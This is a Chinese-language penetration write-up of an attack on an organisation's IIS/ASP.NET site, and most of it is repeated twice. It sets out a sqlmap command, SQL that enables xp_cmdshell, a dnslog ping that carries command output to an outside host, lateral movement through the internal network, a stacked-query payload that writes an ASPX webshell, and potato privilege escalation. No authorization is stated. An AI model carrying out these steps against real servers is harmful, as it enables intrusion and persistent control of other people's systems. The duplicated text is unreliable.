在网络安全的探索之路上,一次针对 IIS7.0+ASP.NET 组合的漏洞挖掘行动展开了惊心动魄的历程。
最初,简单的尝试揭示出前台登录页面可能存在 SQL 注入的迹象。数据包如神秘的密码本,透露出潜在的安全漏洞。为了高效推进,果断祭出强大的 sqlmap 工具,参数设置为 -r x.txt -v 3 --random-agent --dbms=mssql --batch。然而,在识别出数据库后,却遭遇了不明力量的拦截,如同前行道路上突然升起的坚固壁垒。
手工尝试绕过这一阻碍,采用堆叠的方式,利用 xp_cmdshell 试图从 dnslog 中带出命令回显。先开启 xp_cmdshell:EXEC sp_configure'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE。接着,利用 dnslog 带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'。但一番操作后,dnslog 毫无反应,可能的原因有被不明力量拦截、目标不出网或者语句构造有误,第一种原因的可能性较大。
曲线救国之路开启。放弃注入后,对其他漏洞进行测试,却均以失败告终。但目标仅仅是一个单位的子域,思路转向从单位的其他站点入手,进入内网后尝试 MS17010、pth 等手段获取目标机器权限。历经艰难险阻,终于在目标所属 B 段中成功拿到一台机器权限,并通过代理顺利进入内网。
遗憾的是,拿到的机器是 linux 服务器,且内网 MS17010 都已打补丁,fscan 扫出的结果基本无用。若继续拿内网机器权限进行 hash 传递攻击尝试,不仅密码通杀性存疑,时间上也会耗费不少。一时之间,陷入了尴尬的境地。
然而,转念一想,大多数不明力量通常部署在 dmz 或最外层交换机之上,而目前身处内网,或许不会受到不明力量影响。抱着这样的想法,再次掏出 sqlmap,参数依旧是 -r x.txt -v 3 --random-agent --dbms=mssql --batch。果然,如所料想,成功注入。查看权限,竟是 dba 权限,直接尝试 os-shell,但采用堆叠加延时的注入方式,一个 whoami 命令竟等待了将近十分钟,速度实在太慢,还是回归手工注入。从 whoami 的回显得知系统权限为低权限,加用户的方法行不通,又因站库没有分离,决定直接写入一个 webshell。路径在报错的数据包中可以找到,值得注意的是,此时权限为普通用户权限,所以写入 webshell 最好选择上传的目录或图片路径,否则可能像作者一样在尝试写入根路径时浪费不少时间。
执行语句:%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -。成功 getshell,最后用土豆提权完美收尾,这场激烈的战斗至此画上句号。
最初,简单的尝试揭示出前台登录页面可能存在 SQL 注入的迹象。数据包如神秘的密码本,透露出潜在的安全漏洞。为了高效推进,果断祭出强大的 sqlmap 工具,参数设置为 -r x.txt -v 3 --random-agent --dbms=mssql --batch。然而,在识别出数据库后,却遭遇了不明力量的拦截,如同前行道路上突然升起的坚固壁垒。
手工尝试绕过这一阻碍,采用堆叠的方式,利用 xp_cmdshell 试图从 dnslog 中带出命令回显。先开启 xp_cmdshell:EXEC sp_configure'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE。接着,利用 dnslog 带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'。但一番操作后,dnslog 毫无反应,可能的原因有被不明力量拦截、目标不出网或者语句构造有误,第一种原因的可能性较大。
曲线救国之路开启。放弃注入后,对其他漏洞进行测试,却均以失败告终。但目标仅仅是一个单位的子域,思路转向从单位的其他站点入手,进入内网后尝试 MS17010、pth 等手段获取目标机器权限。历经艰难险阻,终于在目标所属 B 段中成功拿到一台机器权限,并通过代理顺利进入内网。
遗憾的是,拿到的机器是 linux 服务器,且内网 MS17010 都已打补丁,fscan 扫出的结果基本无用。若继续拿内网机器权限进行 hash 传递攻击尝试,不仅密码通杀性存疑,时间上也会耗费不少。一时之间,陷入了尴尬的境地。
然而,转念一想,大多数不明力量通常部署在 dmz 或最外层交换机之上,而目前身处内网,或许不会受到不明力量影响。抱着这样的想法,再次掏出 sqlmap,参数依旧是 -r x.txt -v 3 --random-agent --dbms=mssql --batch。果然,如所料想,成功注入。查看权限,竟是 dba 权限,直接尝试 os-shell,但采用堆叠加延时的注入方式,一个 whoami 命令竟等待了将近十分钟,速度实在太慢,还是回归手工注入。从 whoami 的回显得知系统权限为低权限,加用户的方法行不通,又因站库没有分离,决定直接写入一个 webshell。路径在报错的数据包中可以找到,值得注意的是,此时权限为普通用户权限,所以写入 webshell 最好选择上传的目录或图片路径,否则可能像作者一样在尝试写入根路径时浪费不少时间。
执行语句:%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -。成功 getshell,最后用土豆提权完美收尾,这场激烈的战斗至此画上句号。
附件